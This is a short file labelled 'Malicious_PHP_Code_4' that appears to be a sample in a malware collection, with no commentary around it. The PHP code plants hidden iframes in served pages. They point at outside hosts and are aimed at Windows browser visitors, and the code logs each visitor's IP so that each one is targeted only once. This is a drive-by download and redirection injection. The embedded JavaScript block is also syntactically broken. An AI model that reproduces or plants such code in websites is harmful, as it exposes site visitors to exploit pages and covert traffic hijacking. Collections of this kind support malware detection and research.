Malicious_PHP_Code_4

<?php
error_reporting(0);
$ip   = $_SERVER["REMOTE_ADDR"];
$dr   = $_SERVER["DOCUMENT_ROOT"];
$ua   = $_SERVER['HTTP_USER_AGENT'];
$odbf = $dr . '/' . md5(date('m.d.y'), time() - 86400);
if (file_exists($odbf))
    @unlink($odbf);
$dbf = $dr . '/' . md5(date('m.d.y'));
if ((strpos($ua, 'Windows') !== false) && ((strpos($ua, 'MSIE') !== false) || (strpos($ua, 'Opera') !== false) || (strpos($ua, 'Firefox') !== false || (strpos($ua, 'Mozilla') !== false)) && (strpos(@file_get_contents($dbf), $ip) === false))) {
    error_reporting(0);
    echo (
        if (document.getElementsByTagName('body')[0]){
            iframer();
        } else {
            document.write("<iframe src='http://vetzevhpaj.otzo.com/nt/stats.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
        }
        function iframer(){
            var f = document.createElement('iframe');f.setAttribute('src','http://vetzevhpaj.otzo.com/nt/stats.php');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
            document.getElementsByTagName('body')[0].appendChild(f);
        }
    );
    if ($fp = @fopen($dbf, "a")) {
        fputs($fp, $ip . '|');
        fclose($fp);
    }
} else
    echo '<iframe style="visibility:hidden;position:absolute;left:0;top:0;" width="100" height="6" src="http://click.rndtrg.com/feed/frames.php?uid=99&frames=2"></iframe>';
if (file_exists("openinfo.php") OR isset($_REQUEST['dblink']) OR empty($dblink))
    die("Cannot open file.");
?>